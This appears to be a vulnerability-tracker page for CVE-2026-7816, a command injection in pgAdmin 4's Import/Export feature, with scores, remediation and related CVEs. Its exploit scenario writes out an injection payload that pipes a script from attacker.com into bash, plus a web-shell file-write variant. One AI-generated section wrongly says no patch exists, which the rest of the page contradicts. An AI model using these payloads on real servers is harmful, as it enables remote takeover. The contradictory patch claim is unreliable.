Skip to main content

pgAdmin 4 CVE-2026-7816

| EUVDEUVD-2026-29084 HIGH
SQL Injection (CWE-89)
2026-05-11 PostgreSQL GHSA-j74f-g7vx-fh4x
8.7
CVSS 4.0 · Vendor: PostgreSQL
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain pgAdmin credentials
  2. Delivery
    Authenticate to web interface
  3. Exploit
    Navigate to Import/Export query export
  4. Execution
    Inject TO PROGRAM payload in query field
  5. Persist
    Trigger psql metacommand execution
  6. Impact
    Execute arbitrary OS commands as pgAdmin process user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Persistence

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires authenticated access to pgAdmin 4 with valid user credentials (CVSS PR:L). Specifically, the attacker must have permissions to access the Import/Export query export feature within the pgAdmin web interface, which is typically available to any authenticated pgAdmin user regardless of underlying PostgreSQL database privileges. Exploitation does not require admin-level pgAdmin access, database superuser rights, or elevated OS permissions - standard low-privilege database user accounts suffice. No user interaction required (CVSS UI:N) and attack complexity is low (CVSS AC:L), meaning exploitation succeeds reliably once authenticated access is obtained. Network accessibility (CVSS AV:N) means any remote user who can reach the pgAdmin web interface over HTTP/HTTPS can exploit this after authentication. No special pgAdmin configuration, non-default settings, or specific PostgreSQL version required - affects default pgAdmin 4 installations before version 9.15 across all deployment modes. Limiting factor: authentication barrier prevents unauthenticated remote exploitation, but this is a low bar given credential compromise vectors (phishing, default credentials, session hijacking) and insider threat scenarios.

Impact

Real-world risk is HIGH for organizations running vulnerable pgAdmin 4 instances accessible to authenticated users. CVSS 8.8 (High) accurately reflects the severity: network-accessible (AV:N), low attack complexity (AC:L), requires only low-privilege authentication (PR:L), no user interaction (UI:N), and enables full system compromise (C:H/I:H/A:H). The authentication barrier (PR:L) limits attack surface compared to unauthenticated RCE but is a low bar in practice - any pgAdmin user with Import/Export privileges can exploit this, including read-only database users or contractors with limited DB access. The vulnerability grants OS-level command execution, elevating impact far beyond database-layer access. EPSS score not provided in input data, limiting quantitative exploitation probability assessment. No CISA KEV listing at time of analysis suggests no confirmed widespread or targeted exploitation yet. No public POC referenced in provided data, but the technical description is sufficiently detailed that exploit development is trivial for attackers with pgAdmin access. The primary risk mitigation is the authentication requirement - external attackers must first obtain valid pgAdmin credentials. However, insider threat risk is CRITICAL, and credential compromise (phishing, credential stuffing, session hijacking) eliminates this barrier. Organizations exposing pgAdmin 4 to the internet or untrusted networks face elevated risk. Patch availability (version 9.15) and clear vendor disclosure via GitHub issue #9899 enable straightforward remediation, making continued exposure to this vulnerability primarily a patching discipline issue rather than a lack of fixes.

Exploit ScenarioDerived

An attacker with valid low-privilege pgAdmin credentials (e.g., a contractor account, compromised read-only database user, or insider) logs into the pgAdmin web interface and navigates to the Import/Export query export feature. They craft a malicious query parameter containing the payload: normal_query") TO PROGRAM 'curl http://attacker.com/shell.sh | bash' -- to inject a command execution directive into the psql \copy metacommand template. Upon submission, the unsanitized input breaks out of the parenthetical context, causing pgAdmin to execute the injected shell command on the underlying server host with pgAdmin process privileges. The attacker achieves remote code execution, establishes persistence via cron/systemd, exfiltrates PostgreSQL credentials from pgAdmin configuration files, and pivots to connected database servers. Alternatively, the attacker uses ") TO '/var/www/html/shell.php' to write a web shell for persistent access.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 11, 2026

Authenticated remote code execution in pgAdmin 4 versions before 9.15 allows low-privilege users to execute arbitrary OS commands on the pgAdmin server via unsanitized input in the Import/Export query export feature. Attackers inject malicious payloads into psql \copy metacommand templates to break out of the query context and invoke PROGRAM directives or write arbitrary files. No public exploit code identified at time of analysis, but exploitation requires only low-privilege authenticated access with no user interaction (CVSS AV:N/AC:L/PR:L/UI:N). EPSS data not provided; KEV status not confirmed.

RemediationAI

Upgrade to pgAdmin 4 version 9.15 or later immediately, which implements comprehensive input validation including parens-balance parsing, field allow-listing, null-byte rejection, and enhanced type/authorization checks per the fix description. Download the patched release from pgadmin.org official channels and follow standard pgAdmin upgrade procedures for your deployment method (standalone, Docker, or package manager). If immediate patching is infeasible, implement the following compensating controls with noted limitations: (1) Restrict pgAdmin access to trusted users only via application-layer authentication/authorization and network segmentation (firewall rules limiting access to admin jump hosts or VPN-only), understanding this reduces but does not eliminate insider threat risk. (2) Disable or restrict the Import/Export feature entirely via pgAdmin configuration or role-based permissions if your operational workflow permits, noting this breaks legitimate data export functionality. (3) Deploy pgAdmin in an isolated container or VM with minimal privileges and no network/filesystem access to sensitive resources, using AppArmor/SELinux policies to restrict child process execution, though this adds operational complexity and may still allow container escape or data exfiltration. (4) Monitor pgAdmin server logs and system process execution (auditd, Sysmon) for unexpected psql child processes or anomalous TO PROGRAM/TO FILE patterns, accepting that skilled attackers may evade logging. All compensating controls are inferior to patching and should be considered temporary risk reduction only. Vendor advisory and patch details: https://github.com/pgadmin-org/pgadmin4/issues/9899.

Affected VersionsENISA

pgAdmin 4 9.4 <9.15

Affected Packages

pypi pgadmin4 fix: 9.15
euvd pgadmin_4 fix: 9.15

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

pgAdmin 4 is a web-based administration and development platform for PostgreSQL databases. The vulnerability exists in the Import/Export query export functionality where user-supplied input fields (query text, format, on_error, log_verbosity) are interpolated directly into psql \copy metacommand templates without sanitization or validation. The psql \copy metacommand supports TO PROGRAM clauses that execute arbitrary OS commands and TO FILE clauses for file writes. By injecting payloads like ") TO PROGRAM 'malicious_cmd'" or ") TO '/arbitrary/path'", authenticated users can escape the intended \copy (...) parenthetical context and achieve command execution on the pgAdmin server host or write files to server-writable paths. This is a classic OS command injection (CWE-78) where application-layer input validation failures enable shell metacharacter injection. The affected CPE cpe:2.3:a:pgadmin.org:pgadmin_4:*:*:*:*:*:*:*:* confirms all versions prior to 9.15 are vulnerable. The fix implements a parens-balance parser modeled on PostgreSQL's strtokx tokenizer to safely parse \copy syntax, applies allow-lists to format/on_error/log_verbosity fields, rejects null bytes in query strings, and adds stricter type checking and authorization gates.

Know when Pgadmin 4 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (PostgreSQL) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (PostgreSQL).

CVSS VectorVendor: PostgreSQL

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Patch available
May 11, 2026 - 17:17 EUVD
CVSS changed
May 11, 2026 - 16:22 NVD
8.8 (HIGH) 8.7 (HIGH)
CVE Published
May 11, 2026 - 14:35 nvd
HIGH 8.8

DescriptionCVE.org

OS command injection (CWE-78) vulnerability in pgAdmin 4 Import/Export query export.

User-supplied input was interpolated directly into a psql \copy metacommand template without sanitization. An authenticated user could inject ") TO PROGRAM 'cmd'" to break out of the \copy (...) context and achieve arbitrary command execution on the pgAdmin server, or ") TO '/path'" for arbitrary file write. Additional fields (format, on_error, log_verbosity) were also raw-interpolated and exploitable.

Fix adds a parens-balance parser modeled on psql's strtokx tokenizer, allow-lists format/on_error/log_verbosity, rejects null bytes in the query, and tightens type and gating checks.

This issue affects pgAdmin 4: before 9.15.

Executive ViewAI

Why It Matters

pgAdmin 4 versions before 9.15 contain a remote code execution vulnerability that allows authenticated users with low-privilege access to execute arbitrary operating system commands on the pgAdmin server through the Import/Export feature. Organizations running affected pgAdmin instances face direct risk of server compromise and lateral movement into connected database infrastructure, requiring immediate assessment and mitigation.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict pgAdmin network access to administrative VPN/bastion host only; (2) Disable the Import/Export query feature in pgAdmin configuration settings; (3) Implement database activity monitoring to detect unusual PROGRAM directives or file writes; (4) Remove or revoke low-privilege user accounts in pgAdmin where feasible; (5) Monitor for CVE-2026-7816 patch release from pgAdmin project and prepare staged upgrade plan.

Threat Intelligence Overview

EPSS Score
0.2%
Top 59% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2024-2044 CRITICAL POC
9.9 Mar 07

pgAdmin <= 8.3 is affected by a path-traversal vulnerability while deserializing users’ sessions in the session handling

CVE-2024-3116 CRITICAL POC
9.8 Apr 04

pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) vulnerability through the validate binary path API. Rated cr

CVE-2026-12046 CRITICAL POC
9.5 Jun 18

Remote unauthenticated access to two SQL Editor endpoints in pgAdmin 4 server-mode deployments (versions 6.9 through 9.1

CVE-2022-4223 HIGH POC
8.8 Dec 13

The pgAdmin server includes an HTTP API that is intended to be used to validate the path a user selects to external Post

CVE-2024-9014 MEDIUM POC
6.5 Sep 23

pgAdmin versions 8.11 and earlier are vulnerable to a security flaw in OAuth2 authentication. Rated medium severity (CVS

CVE-2025-12762 CRITICAL
9.8 Nov 13

Remote code execution in pgAdmin 4 (versions up to and including 9.9) lets an attacker who can get a crafted PLAIN-forma

CVE-2026-12045 CRITICAL
9.4 Jun 18

Remote SQL injection via prompt injection in pgAdmin 4 versions 9.13 through 9.15 allows attackers who can write content

CVE-2026-17351 CRITICAL
9.4 Jul 31

SQL injection sandbox escape in pgAdmin 4's AI Assistant (versions 9.13 through 9.16) lets an attacker break out of the

CVE-2026-17566 CRITICAL POC
9.4 Jul 31

OS command injection in pgAdmin 4 (all versions before 9.18) lets an authenticated user with the commonly-granted tools_

CVE-2026-7813 CRITICAL
9.4 May 11

Authorization bypass and privilege escalation in pgAdmin 4 server mode allows authenticated users to access other users'

CVE-2024-4216 MEDIUM POC
5.4 May 02

pgAdmin <= 8.5 is affected by XSS vulnerability in /settings/store API response json payload. Rated medium severity (CVS

Vendor StatusVendor

SUSE

Severity: High
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Fixed
SUSE Linux Enterprise High Performance Computing 15 SP7 Fixed
SUSE Linux Enterprise Module for Python 3 15 SP7 Fixed
SUSE Linux Enterprise Server 15 SP7 Fixed
SUSE Linux Enterprise Server for SAP Applications 15 SP7 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy